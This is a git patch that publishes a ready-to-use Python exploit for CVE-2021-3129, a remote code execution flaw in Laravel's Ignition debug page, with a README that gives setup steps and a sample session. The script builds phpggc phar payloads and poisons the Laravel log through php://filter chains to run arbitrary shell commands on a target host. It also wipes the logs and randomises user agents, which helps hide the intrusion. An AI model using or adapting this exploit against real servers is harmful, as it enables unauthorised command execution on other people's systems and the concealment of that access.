From c5171ef68092445ac73a91705cf92de383b85f6b Mon Sep 17 00:00:00 2001 From: joshua-orderdaily Date: Sat, 16 Apr 2022 19:22:14 +0200 Subject: [PATCH] Init --- .DS_Store | Bin 0 -> 6148 bytes .gitignore | 154 +++++++++++++++++++++ CVE-2021-3129.py | 338 +++++++++++++++++++++++++++++++++++++++++++++++ README.md | 72 ++++++++++ requirements.txt | 1 + 5 files changed, 565 insertions(+) create mode 100644 .DS_Store create mode 100644 .gitignore create mode 100644 CVE-2021-3129.py create mode 100644 README.md create mode 100644 requirements.txt diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..bab4c93e95b800c04f5001e5242442bdb023f429 GIT binary patch literal 6148 zcmeHK!AiqG5S?wSCP<+NMUM+!D>hgV@e->3fDt{Y)Wnt=jM>tp=1>Z`>JRxRevdP| zTcuPzcn~QwVfM|=&g`-;VJ8a!qBHJ!01W_ePzft8HeU#hlP*ZbdI*J{V*q!s3y%;& zwh+yZ|HuHnyE+Wv9(91v=ljc{52L8ahEbv-jCzfRNu1@a)|;qQYb&d3&YH9C+ywWk z2=Xu=XPt0#MZI&Sl4xd!(M8-Zx{ZxvmF8ib_D4D)?)5R``Z7*?s_3Y3+RJoqURqDd9@iXluo`lXHYEtUpNItaZo&SO^=_J$(#>gbm`9E5L> zTV{Y6m}j7Bx(%xTr{CZI=aaa{3@`&r#ek@t1ScKblC7-^o1 - Execute system command.") + print(DARKCYAN + " write - Write to log file.") + + def cmd_clear_logs(self): + print(DARKCYAN + f"[@] Clearing Laravel logs...") + self.exploit_clear_logs() + if not self.force: + print(GREEN + f"[√] Cleared Laravel logs!") + + def cmd_execute_cmd(self, cmd): + print(DARKCYAN + f"[@] Executing command \"{cmd}\"...") + payload = self.generate_payload(cmd, 16) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + print(BLUE + "[@] Causing error in logs...") + if self.exploit_cause_error().status_code != 500: + print(RED + "[!] Failed causing error.") + return + print(GREEN + "[√] Caused error in logs.") + + print(BLUE + "[@] Sending payload...") + if self.exploit_request(payload, 500).status_code != 500: + print(RED + "[!] Failed sending payload.") + return + print(GREEN + "[√] Sent payload.") + + print(BLUE + "[@] Converting payload...") + if (self.exploit_request( + f"php://filter/read=convert.quoted-printable-decode|" + f"convert.iconv.utf-16le.utf-8|" + f"convert.base64-decode/resource={self.log_path}", + 200).status_code != 200): + print(RED + "[!] Failed converting payload.") + return + print(GREEN + "[√] Converted payload.") + + exploited = self.exploit_request(f"phar://{self.log_path}", 500) + if exploited.status_code == 500 and "cannot be empty" in exploited.text: + print(GREEN + "[√] Result:") + result = exploited.text.split("")[1] + print(END + result) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + def cmd_execute_write(self, text): + print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...") + payload = self.generate_write_payload(text, 16) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + print(BLUE + "[@] Causing error in logs...") + if self.exploit_cause_error().status_code != 500: + print(RED + "[!] Failed causing error.") + return + print(GREEN + "[√] Caused error in logs.") + + print(BLUE + "[@] Sending payload...") + if self.exploit_request(payload, 500).status_code != 500: + print(RED + "[!] Failed sending payload.") + return + print(GREEN + "[√] Sent payload.") + + print(BLUE + "[@] Converting payload...") + if (self.exploit_request( + f"php://filter/read=convert.quoted-printable-decode|" + f"convert.iconv.utf-16le.utf-8|" + f"convert.base64-decode/resource={self.log_path}", + 200).status_code != 200): + print(RED + "[!] Failed converting payload.") + return + print(GREEN + "[√] Converted payload.") + + def exploit_clear_logs(self) -> requests.Response: + return self.exploit_request(f"php://filter/read=consumed/resource={self.log_path}", 200) + + def exploit_cause_error(self) -> requests.Response: + return self.exploit_request("AA", 500) + + def random_useragent(self) -> str: + return random.choice(USER_AGENTS) + + def setup_phpggc(self): + zip_path = "./master_phpggc.zip" + print(BLUE + "[@] Downloading PHPGCC from \"ambionics/phpggc\" GitHub repository...") + + request = requests.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip", + verify=False, allow_redirects=True, headers={"User-Agent": self.useragent}) + + open(zip_path, "wb").write(request.content) + with zipfile.ZipFile(zip_path, "r") as zip_ref: + zip_ref.extractall("./") + print(GREEN + "[√] Downloaded/extracted PHPGCC.") + + phpgcc_path = "./phpggc-master/phpggc" + + print(BLUE + "[@] Updating PHPGCC execution rights...") + if os.path.exists(phpgcc_path): + st = os.stat(phpgcc_path) + os.chmod(phpgcc_path, st.st_mode | stat.S_IEXEC) + print(GREEN + "[√] Updated PHPGCC execution rights.") + + os.unlink(zip_path) + + def generate_payload(self, command: str, padding=0) -> str: + print(DARKCYAN + f"[@] Generating payload...") + + if '/' in command: + command = command.replace('/', '\/') + command = command.replace('\'', '\\\'') + + if '\'' in command: + command = command.replace("'", "\'") + + if not os.path.exists("./phpggc-master/phpggc"): + print(RED + "[!] Required binary PHPGGC not found.") + self.setup_phpggc() + + os.system( + f"php -d'phar.readonly=0' ./phpggc-master/phpggc monolog/rce1 system '{command}' --phar phar -o ./tmp.phar") + + payload = open("./tmp.phar", 'rb').read() + payload = base64.b64encode(payload).decode().rstrip('=') + payload = ''.join(c + '=00' for c in payload) + payload = 'A' * padding + payload + payload = payload.replace("\n", "") + "A" + + os.unlink("./tmp.phar") + + print(GREEN + f"[√] Generated payload.") + return payload + + def generate_write_payload(self, text: str, padding=0) -> str: + print(DARKCYAN + f"[@] Generating payload...") + + payload = base64.b64encode(text.encode()).decode().rstrip('=') + payload = ''.join(c + '=00' for c in payload) + payload = 'A' * padding + payload + os.unlink("./tmp.phar") + + print(GREEN + f"[√] Generated payload.") + return payload + + def exploit_request(self, value: str, expected_response: int = 200) -> requests.Response: + data = { + "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", + "parameters": { + "variableName": "variable", + "viewFile": value + } + } + headers = { + "Content-Type": "application/json", + "Accept": "*/*", + "User-Agent": self.useragent + } + + request = requests.post(url=f"{self.host}_ignition/execute-solution", json=data, headers=headers, verify=False) + if request.status_code != expected_response: + print( + RED + f"[!] Exploit request returned status code {request.status_code}. Expected {expected_response}.") + + if "runnable solutions are disabled in non-local environments" in request.text.lower(): + print(RED + f"[!] Website has patched the vulnerability. Response: \"Runnable solutions are disabled in non-local environments. Please make sure `APP_ENV` is set correctly. Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"") + + return request + + def is_vulnerable(self): + print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...") + request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False) + + if request.status_code != 405: + print(BLUE + f"[•] Host returned status code {request.status_code}. Expected 405 (Method not allowed).") + if not self.force: return False + + if "laravel" not in str(request.content): + print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.") + if not self.force: return False + + if not self.force: print(GREEN + f"[√] Host seems vulnerable!") + + print(DARKCYAN + f"[@] Searching Laravel log file path...") + found_path = self.find_log_path(content=request.content) + + if self.log_path is None: + if found_path is None: + print(RED + "[!] No log path could be found. Please define the log path with the \"--log\" argument") + exit() + else: + print(BLUE + f"[•] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".") + + laravel_version = self.find_laravel_version(content=request.text) + if laravel_version is not None: + print(BLUE + f"[•] Laravel version found: \"{DARKCYAN}{laravel_version}{BLUE}\".") + + if not self.force: + patched_version = pkg_resources.parse_version("8.4.2") + current_version = pkg_resources.parse_version(laravel_version) + if current_version >= patched_version: + print(RED + "[!] Host is using a patched version of Laravel. " + "Use parameter \"--force\" to bypass this check.") + exit() + + if self.log_path is None: + self.log_path = found_path + print(GREEN + f"[√] Laravel log file set to \"{found_path}\".") + else: + print(BLUE + f"[•] Ignoring found path. Using path \"{self.log_path}\".") + + return True + + def find_log_path(self, content): + for line in str(content).split("\\n"): + if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line: + parts_one = line.split("in file ") + if len(parts_one) != 2: + continue + + parts_two = parts_one[1].split("/vendor/laravel/framework") + if len(parts_two) != 2: + continue + + root_path = parts_two[0] + log_path = f"{root_path}/storage/logs/laravel.log" + print(BLUE + f"[•] Log path found: \"{DARKCYAN}{log_path}{BLUE}\"") + return log_path + return None + + def find_laravel_version(self, content: str): + if "window.data = {" in content and "};\n" in content: + json_from = content.index("window.data = {") + 15 + json_to = content.index("};\n") + 1 + json_res = "{" + content[json_from:json_to] + + details = json.loads(json_res) + return details['report']['framework_version'] + return None + + +if __name__ == "__main__": + print(PURPLE + BOLD + "Laravel Debug Mode CVE script") + print(END + PURPLE + "[•] Made by: https://jvdpoll.nl" + RED) + + parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script') + parser.add_argument('--host', help='Host URL to use exploit on', required=True) + parser.add_argument('--force', help='Force exploit without checking if vulnerable', required=False, default=False, + action='store_true') + parser.add_argument('--log', help='Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)', + required=False, default=None) + parser.add_argument('--ua', help='Randomize User-Agent for requests', required=False, default=False, + action='store_true') + + args = parser.parse_args() + + if args.host[-1] != "/": args.host = args.host + "/" + + requests.packages.urllib3.disable_warnings() + x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua) diff --git a/README.md b/README.md new file mode 100644 index 0000000..27cb3da --- /dev/null +++ b/README.md @@ -0,0 +1,72 @@ +# CVE-2021-3129 - Laravel RCE + +## About +The script has been made for exploiting the Laravel RCE (CVE-2021-3129) vulnerability.
+This script allows you to write/execute commands on a website running Laravel <= v8.4.2, that has "APP_DEBUG" set to "true" in it's ".env" file. + +It currently has supports for searching the log file, executing commands, writing to the log file and support for clearing log files. + +## Setup +``` +$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git +$ cd CVE-2021-3129 +# pip install -r requirements.txt +# python3 CVE-2021-3129.py --help +``` + +## Example +``` +$ python3 CVE-2021-3129.py --host http://127.0.0.1/public/ +Laravel Debug Mode CVE script +[•] Made by: https://jvdpoll.nl +[@] Starting exploit on "http://127.0.0.1/public/"... +[@] Testing vulnerable URL http://127.0.0.1/public/_ignition/execute-solution... +[√] Host seems vulnerable! +[@] Searching Laravel log file path... +[•] Log path found: "/home/laravel/web/storage/logs/laravel.log" +[•] Laravel log found: "/home/laravel/web/storage/logs/laravel.log". +[√] Laravel log file set to "/home/laravel/web/storage/logs/laravel.log". +[•] Use "?" for a list of all possible actions. +[?] Please enter a command to execute: help +[•] Available commands: + exit - Exit program. + help - Shows available commands. + clear_logs - Clears Laravel logs. + execute - Execute system command. + write - Write to log file. +[?] Please enter a command to execute: execute ls /home/laravel/web/ +[@] Executing command "ls /home/laravel/web/"... +[@] Generating payload... +[√] Generated payload. +[@] Clearing logs... +[√] Cleared logs. +[@] Causing error in logs... +[√] Caused error in logs. +[@] Sending payload... +[√] Sent payload. +[@] Converting payload... +[√] Converted payload. +[√] Result: + +README.md +app +artisan +bootstrap +composer.json +composer.lock +config +database +package.json +phpunit.xml +public +resources +routes +server.php +storage +tests +vendor +webpack.mix.js + +[@] Clearing logs... +[√] Cleared logs. +``` \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..78235c3 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +requests~=2.27.1 \ No newline at end of file